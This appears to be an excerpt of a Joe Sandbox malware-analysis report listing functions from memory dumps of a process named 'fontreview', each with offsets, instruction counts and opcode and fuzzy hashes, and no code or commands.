Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0655690e278d87ada6d103bd4a0155314d65dab5e8248ac27aaed53804ac5467
Instruction ID: ec82f7fd3f092a9f91ae7ea6f002d46c6bdf6bbcad7d2d825cca2ea0d281532e
Opcode Fuzzy Hash: 0655690e278d87ada6d103bd4a0155314d65dab5e8248ac27aaed53804ac5467
Instruction Fuzzy Hash: 841101A190C68A8FF741FF7CC9991EA7FE0EF15300F1588BAD589C60A3EA24A445C280

Function 00007FFB4B2633D0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1f2706a3c4060785e5b4a25cb53352852ff49f88777279d3c937c69aeced30
Instruction ID: 36ccb9cc6804832809967341b791252045b2d745ddad60e30c52e20f38cabfe9
Opcode Fuzzy Hash: 6c1f2706a3c4060785e5b4a25cb53352852ff49f88777279d3c937c69aeced30
Instruction Fuzzy Hash: 60215E7084D69A8FE743FF78C8586A67FF4EF46310F0545FAD049C7062DA689846C711

Function 00007FFB4B260A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7058803a95adcccce8e4d8616655feed5b50c652f12fb4fe2f67bc321aa336c
Instruction ID: 92d3de9a6c79ee0fbbbbd77fc5c49f869db549ba98acb682119adabe7d397281
Opcode Fuzzy Hash: f7058803a95adcccce8e4d8616655feed5b50c652f12fb4fe2f67bc321aa336c
Instruction Fuzzy Hash: D3116DB191894E8FE781FF78C8891FE7BE1FF58350F4085BAD608C61A6EE34A9459740

Function 00007FFB4B272201 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af7bcab88d5eb3aae84a1b67b788383f93af197fcaddb7e72219314d2154f08
Instruction ID: 354b5f81da828cf3f7aa8e5bb85587c1fd8994f4ec9cd55164f1dc3d52351035
Opcode Fuzzy Hash: 3af7bcab88d5eb3aae84a1b67b788383f93af197fcaddb7e72219314d2154f08
Instruction Fuzzy Hash: 78117CB091C6498BDB49EF28C4965E97FA1FF69304F1142AEE84AC3691DA35A840CB84

Function 00007FFB4B276A31 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcddab5937ceade2634cb57628e82dc5861f5880790d06cf739ff39ad5c58c25
Instruction ID: 30d16223934853ed3793c32a77b9099c48f67bd74dba1cb5fdea5462259313e4
Opcode Fuzzy Hash: fcddab5937ceade2634cb57628e82dc5861f5880790d06cf739ff39ad5c58c25
Instruction Fuzzy Hash: 7F116D7090C64A8FEB9AFF68C4692FA7FA0FF58300F1085BAD449C21A2DA35A5408B40

Function 00007FFB4B272EA5 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c56455adbf3d33a6feabe09a407cc6ed3709ec989cc1a4e0b78155503c067935
Instruction ID: 0ad797da44db96a2e4e66cf7001b5de95fdee389a272ea016fa135e4df128ae3
Opcode Fuzzy Hash: c56455adbf3d33a6feabe09a407cc6ed3709ec989cc1a4e0b78155503c067935
Instruction Fuzzy Hash: 9811AFB190DA4E8FEB51FF78C9052E97BE1FF5A310F004476D148D3192DA28A4448B81

Function 00007FFB4B27240B Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bb98a21f02b0a1b68d41549af8e59f812a8344e05e37571262fdc40cfe4e534
Instruction ID: 4804b8d282cf81b2b5c89253ded5d172426765bfd376e5da849203937b06f501
Opcode Fuzzy Hash: 7bb98a21f02b0a1b68d41549af8e59f812a8344e05e37571262fdc40cfe4e534
Instruction Fuzzy Hash: F5117F7084D68A4FEB56AF34C8691A97FB0AF16310F1544EBD489CA0A3DA695541CB11

Function 00007FFB4B276AD5 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fea8d88e9cfbfd07174b130bb290cfa8cc7a1572bb8a110cf57b6038dc0bf4
Instruction ID: 4df767624b742f95093ba4e14c0cfe2c2491f0fa8b9e061610eb9e2a28f6d35e
Opcode Fuzzy Hash: 80fea8d88e9cfbfd07174b130bb290cfa8cc7a1572bb8a110cf57b6038dc0bf4
Instruction Fuzzy Hash: 1E118EB090C64E8FEB99FF68C46A2BA7FA0FF59300F0041BAD449D25A6DA34A541CB40

Function 00007FFB4B276C0D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958789ec1e1099c363ebca2297cd072866fc6e4bd54a9689f88f2031b44cf56d
Instruction ID: 0d2ae0ee96196a52e90be98babc274026bac1f301b3397be70d3ec89afe0d476
Opcode Fuzzy Hash: 958789ec1e1099c363ebca2297cd072866fc6e4bd54a9689f88f2031b44cf56d
Instruction Fuzzy Hash: 5A11E1B090C64E9BEB9AFF34C45D2BD7FA1EF59310F1042BED449C25A2DA25A5458B80

Function 00007FFB4B274469 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b772a187e592b9cefe122b4603a9726e5dc83c2fe72012708033ed928e92d93e
Instruction ID: 0029b93409c951708d6ceafbe8db30a9ff67546689c4584b4eebc0dc0e2b8c0a
Opcode Fuzzy Hash: b772a187e592b9cefe122b4603a9726e5dc83c2fe72012708033ed928e92d93e
Instruction Fuzzy Hash: EC219F7090DA4A8FEB49FF38C4692BA7FE0FF59301F1441BAD459C61A2CA39A440CB50

Function 00007FFB4B274505 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61574d4c59d19570441601a36341c9076944f997215b91aab5e0c7184c9ec3f9
Instruction ID: ea4c7f5a942d516e71bf1ec377526c533fa19cdfb2b8b07b5e4ca588e7ceaa83
Opcode Fuzzy Hash: 61574d4c59d19570441601a36341c9076944f997215b91aab5e0c7184c9ec3f9
Instruction Fuzzy Hash: DD119DB180DA4E8FEB99FF38C4592B97FA1FF68300F0045BAD519C21A2DA35A440CB40

Function 00007FFB4B2749A5 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5f2fca0f9fe39ba001e70bb88a861bfdc81afbedddb55210dea2637253db330
Instruction ID: 57efb8dbc9eafd4ae2d51382e14d16d16371bd06a55b5115cee51954c9b16398
Opcode Fuzzy Hash: b5f2fca0f9fe39ba001e70bb88a861bfdc81afbedddb55210dea2637253db330
Instruction Fuzzy Hash: 201138B180DA898BEB49EF78C8A52F97FE0FF05300F0441FEC09DC24A2CA256441CB05

Function 00007FFB4B26C6F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7686ea672607465e0bc03ebfb8fe462d50206aadb71393095a1472d50522a45
Instruction ID: 672221aadf302d6b122f35df1b551346924af7013382c6a42d08f299f8fb57f6
Opcode Fuzzy Hash: e7686ea672607465e0bc03ebfb8fe462d50206aadb71393095a1472d50522a45
Instruction Fuzzy Hash: D2115BB080CA9E8FEB5ABF38C8592B97FA4FF19300F4045BED419C60A2DE786940C750

Function 00007FFB4B276B75 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73e60f8a99e3504a69232d213a40fb722fbc11f76fa52fe133fd5eee1313eb4
Instruction ID: 5cb43bc6c602711c37e3e38d5dc957824d74325e181a20d409ea5958f5d718bf
Opcode Fuzzy Hash: d73e60f8a99e3504a69232d213a40fb722fbc11f76fa52fe133fd5eee1313eb4
Instruction Fuzzy Hash: D91138B180DA898BEB5AFFB4C8A62B97FD1FF16300F0540FED589D24A6DE255504CB41

Function 00007FFB4B26112D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f56a6c9d5f178e7af0c9754be29d8a638aa6795da214ecdb07210ea221e7c87d
Instruction ID: eb4cfda7d1db372317bf8f4e96777ecf261d65d0efb8cecaf4e42f03a9703a1a
Opcode Fuzzy Hash: f56a6c9d5f178e7af0c9754be29d8a638aa6795da214ecdb07210ea221e7c87d
Instruction Fuzzy Hash: 9211D0B080C64A8FEB99BF78C8592B97FE0EF59312F0051FEC409E60E2EA256450C740

Function 00007FFB4B277161 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bce91dbef05889a3bebade0587bbd867022534a930e97be1750b7f64df34e2b
Instruction ID: 369af0ea3d537b0eb49bfe65af96c2a66d9bb19295a419d454e82b71abb10e8f
Opcode Fuzzy Hash: 4bce91dbef05889a3bebade0587bbd867022534a930e97be1750b7f64df34e2b
Instruction Fuzzy Hash: D1118EB081D54A8FE751FFB4C9486AA7FE4FF15300F0045B6D459C30B1EA38A1418B64

Function 00007FFB4B274D19 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595b536f0ab88a51b3eccdeb795a1eb7e1cc6b5157b2c990e2ca5158d98b4975
Instruction ID: dad91756daf01fed9834c8452999e31f761f811b8f63b00835a1f408dc37fc14
Opcode Fuzzy Hash: 595b536f0ab88a51b3eccdeb795a1eb7e1cc6b5157b2c990e2ca5158d98b4975
Instruction Fuzzy Hash: 3A11B17080DA8E8FEB56FF78C8696B97FE0FF15300F0004BEC499C61A2DA245440CB01

Function 00007FFB4B2725F1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa21e0f0f69d8a203385cb3a71e370b507d6ac9dcd2997a6419a53c8a5062485
Instruction ID: 9fa309f2828a117a58e4a43e38c909ecb170a00380890d44e7231de3f605e04f
Opcode Fuzzy Hash: fa21e0f0f69d8a203385cb3a71e370b507d6ac9dcd2997a6419a53c8a5062485
Instruction Fuzzy Hash: B3118B7084C65A8FEB42FF78C9486FA7FE8EF1A300F0085B7E458C7066EA34A1458B51

Function 00007FFB4B263561 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23ebec32fb54fc95144b4f39b6cf02d0dd01cea1e179d09425422717eed9a9a
Instruction ID: f6d7525320ec8b8afec0c1fa4d600ab4be8f941a09c2117538b1003bef1e151d
Opcode Fuzzy Hash: a23ebec32fb54fc95144b4f39b6cf02d0dd01cea1e179d09425422717eed9a9a
Instruction Fuzzy Hash: 881139B091968E8FEB95FF38C8596BA7BA0FF19300F4045BED519C35A1EA35A5458700

Function 00007FFB4B274ACD Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ef742145a07e12aca4fd37c60af9fc779f5420429da41e88ede0caf230c2e5e
Instruction ID: 52637ff806b5ce40ef993f922afbc31a58557042c3b071f8473cb5afbfb1180b
Opcode Fuzzy Hash: 4ef742145a07e12aca4fd37c60af9fc779f5420429da41e88ede0caf230c2e5e
Instruction Fuzzy Hash: 93118EB0D0CA4A8FEB45EF38C8692BA7BA0FF15304F0454BAD459C21A6DA346840CB51

Function 00007FFB4B275DB9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963a5e4958bc7072b9cf30956220ed8a266eca0da5ee1416fadfd04a0dd0609b
Instruction ID: 9a1dbcb721e9ccba2799667cce2dd03f9c68431a6972d9b03fe78025ed601a15
Opcode Fuzzy Hash: 963a5e4958bc7072b9cf30956220ed8a266eca0da5ee1416fadfd04a0dd0609b
Instruction Fuzzy Hash: 1F118FB190DA8A8FE792FF34C8592A9BFE0FF19310F0544F6D448C70A6EA38A5448B41

Function 00007FFB4B274C8D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227db84b8ad9483f4efab03f61b8a2a1d9c25543afc2b268574416ce5046428e
Instruction ID: 8a34d8b7821ff916cbbcd504a2ad6c37b5f254ce26ef3869fc369b6937cb5400
Opcode Fuzzy Hash: 227db84b8ad9483f4efab03f61b8a2a1d9c25543afc2b268574416ce5046428e
Instruction Fuzzy Hash: CE119DB190DA4A8FEB45FF38C81D2B97EE0FF18300F0045BED869D61A2DA28A440CB41

Function 00007FFB4B26BE49 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e71ec2606da93475086d0640d6edcc8efa9cb9df12828f4ce21369ee8935f
Instruction ID: 46bb8ec28408933b1122d181b01c9542dc004828081f7fe96bf46d024b015f7a
Opcode Fuzzy Hash: be6e71ec2606da93475086d0640d6edcc8efa9cb9df12828f4ce21369ee8935f
Instruction Fuzzy Hash: 8F11487090DA8D8FEB55FF78C86D2B97FB0EF19300F4144AED509C61A2DA35A5518700

Function 00007FFB4B262EC1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549198c5164ad7e73dfc830002cd05f47a9ee7cb1631d38a355d07be06c2cbf6
Instruction ID: 12fb4bd5d4d4b82f52ea5b283e78f538d4087f1c79cb2870a941d8486fc47bf2
Opcode Fuzzy Hash: 549198c5164ad7e73dfc830002cd05f47a9ee7cb1631d38a355d07be06c2cbf6
Instruction Fuzzy Hash: 63017CB091D64E8FEB51FF38C95D2A97FE4FF19301F4588BAD908C70A2EA38A4448741

Function 00007FFB4B277991 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd9e89b3ba24b0c8c7e9c374337b3d93f11747f2d74e054bbafa5265537a315
Instruction ID: 550b831c99db628878f3620083356bdbc27d0c4c423a08fa96702b2c7a9649f2
Opcode Fuzzy Hash: 2bd9e89b3ba24b0c8c7e9c374337b3d93f11747f2d74e054bbafa5265537a315
Instruction Fuzzy Hash: 0501927184E28A8FEB45FF34C4596B97FA0FF09300F0144FED549C60A2EA25A540CB05

Function 00007FFB4B26B9FA Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b537d8b142f627911e3baea2b264c47b8d28db4510b34d0dba7a92d90c526e5
Instruction ID: e88209268db4b7015ad7f86ce5bcf5c38542a4231cd05f2d0f4a085ac1c45f8b
Opcode Fuzzy Hash: 6b537d8b142f627911e3baea2b264c47b8d28db4510b34d0dba7a92d90c526e5
Instruction Fuzzy Hash: 4A0129B091990E8FEB94FF68C99D2F97AE0FF18300F1045BED81AC21A1DA75A550C740

Function 00007FFB4B272095 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2138a0f9f6fdae0fd5d17e536ee376a5e0fa664ebdb2a74171a4646799ad9c
Instruction ID: 129e37996bf0f1454c57519c65553525a3e19eca3f0664730494bcf239aa4801
Opcode Fuzzy Hash: 4f2138a0f9f6fdae0fd5d17e536ee376a5e0fa664ebdb2a74171a4646799ad9c
Instruction Fuzzy Hash: 0D01D47090E6498FEB59FF34C8592B97FA0FF16310F0144BED50AC64A2EE35A540CB14

Function 00007FFB4B26289D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187b415430d447a5938849031e4b1d7f6c9fa38918e9fb135aee56a6978838ef
Instruction ID: a99a6275b9bab5d75e168272630dc7f6ae7a97c6241b71c36f7ff9331b7165e3
Opcode Fuzzy Hash: 187b415430d447a5938849031e4b1d7f6c9fa38918e9fb135aee56a6978838ef
Instruction Fuzzy Hash: 4E01757081D64E8FEB51FF38C9885B97FE4EF55300F4189BAD508C60A6EA38E594C751

Function 00007FFB4B272EC0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faba9a8d806c6f8048969307e3d80244b49270c400bf057b0abf706293c50110
Instruction ID: cab048c62488595203d682e7788a4eaa4261dc6556c29646ee9b43b8cc1805ed
Opcode Fuzzy Hash: faba9a8d806c6f8048969307e3d80244b49270c400bf057b0abf706293c50110
Instruction Fuzzy Hash: 8401A2B1D0CA0E8BEF51FF78C9012FEBAB4FB0A310F004535E54DE2181DE28A4448A92

Function 00007FFB4B2778B9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c88d37f195ccf58ff685304abed23b211a8ca345d29451422f62f1d32a5f73b
Instruction ID: e4fb072873120b6e465fa659b55f62a195bb6347a52263748a47eec540b3d3fd
Opcode Fuzzy Hash: 4c88d37f195ccf58ff685304abed23b211a8ca345d29451422f62f1d32a5f73b
Instruction Fuzzy Hash: B301C07084E2898FEB4AFF34C8682B93FA0EF06300F0148FAD409C60A2DE29A540CB01

Function 00007FFB4B2772E9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bdb7fcc2e337cf246ad5000eacd36a4601dc253089f051629c05781080c266
Instruction ID: 28ea2a1484e13c38842f6e5396f9ae688fa9fa45cb7495fe786442c8c33d718e
Opcode Fuzzy Hash: c0bdb7fcc2e337cf246ad5000eacd36a4601dc253089f051629c05781080c266
Instruction Fuzzy Hash: 2901847094D68A8FE752FF34C9595A97FE4EF56300F0649F7D948CB0B2EA28A4448B11

Function 00007FFB4B2605D8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1afbb75d6e38849050114a39ec6234e83e7f65608ed2e51534acb86b2b264a
Instruction ID: e032b98f46d2e3b3beabe40e935f4f402c647e398cb24421d3821e7eb2936dd2
Opcode Fuzzy Hash: 6f1afbb75d6e38849050114a39ec6234e83e7f65608ed2e51534acb86b2b264a
Instruction Fuzzy Hash: 07018F7090850E8FEB8CFF38C5596BA7BE1EF58306F20947ED40AD21A0CA35B861CB40

Function 00007FFB4B262F39 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71afdfbd82dfaeed97cc80d68f0cdf0f578fa127fa71c67a119b07ba5aa2f40c
Instruction ID: 050b283438851c6a9675667a6c3aaa14bef3e46c97d0e31116db324f38452497
Opcode Fuzzy Hash: 71afdfbd82dfaeed97cc80d68f0cdf0f578fa127fa71c67a119b07ba5aa2f40c
Instruction Fuzzy Hash: C20184B080D6498FEB52FB38C95D5A97FE4EF45300F0584FAD508CB0B2EA28A4548701

Function 00007FFB4B26A839 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb8fb7d59ca3c307fd81b2d176975c20da61b6ec14bcd6d30f393d4721a81a9
Instruction ID: 31d4f552cdf770121f759eaa912f179d7fdba55b6bc17b315deec8b6fa4a0b25
Opcode Fuzzy Hash: feb8fb7d59ca3c307fd81b2d176975c20da61b6ec14bcd6d30f393d4721a81a9
Instruction Fuzzy Hash: A101847084E6499FE752FF38C95D1A97FE4EF56300F0688FAD508C70B2E928A4558711

Function 00007FFB4B260610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6778ed9a4cc8e3fe02630744e5c5e461b71fa74dd29f04207ced6b68f5467f10
Instruction ID: 54f366233226a8ecf036be370489790e9ec52f6110c9ccca38399f1dfe0a82ab
Opcode Fuzzy Hash: 6778ed9a4cc8e3fe02630744e5c5e461b71fa74dd29f04207ced6b68f5467f10
Instruction Fuzzy Hash: 47014B7081950E8BEB59FF38C8482B97AA4FF18305F5048BED80AC25E1DE3AA550C610

Function 00007FFB4B260608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08ca5367e11fde8c5f3926bc4f742f811e1b4a0b6299d830593867b477e761a
Instruction ID: d81bb693a62b45abd54ae6681471519550f15a483ba95ecfeb5e0d2e445d20c8
Opcode Fuzzy Hash: d08ca5367e11fde8c5f3926bc4f742f811e1b4a0b6299d830593867b477e761a
Instruction Fuzzy Hash: 02016D7081950E8BEF59FF38C4596B97BA4FF18305F5088BED40EC25E1DE39A191CA10

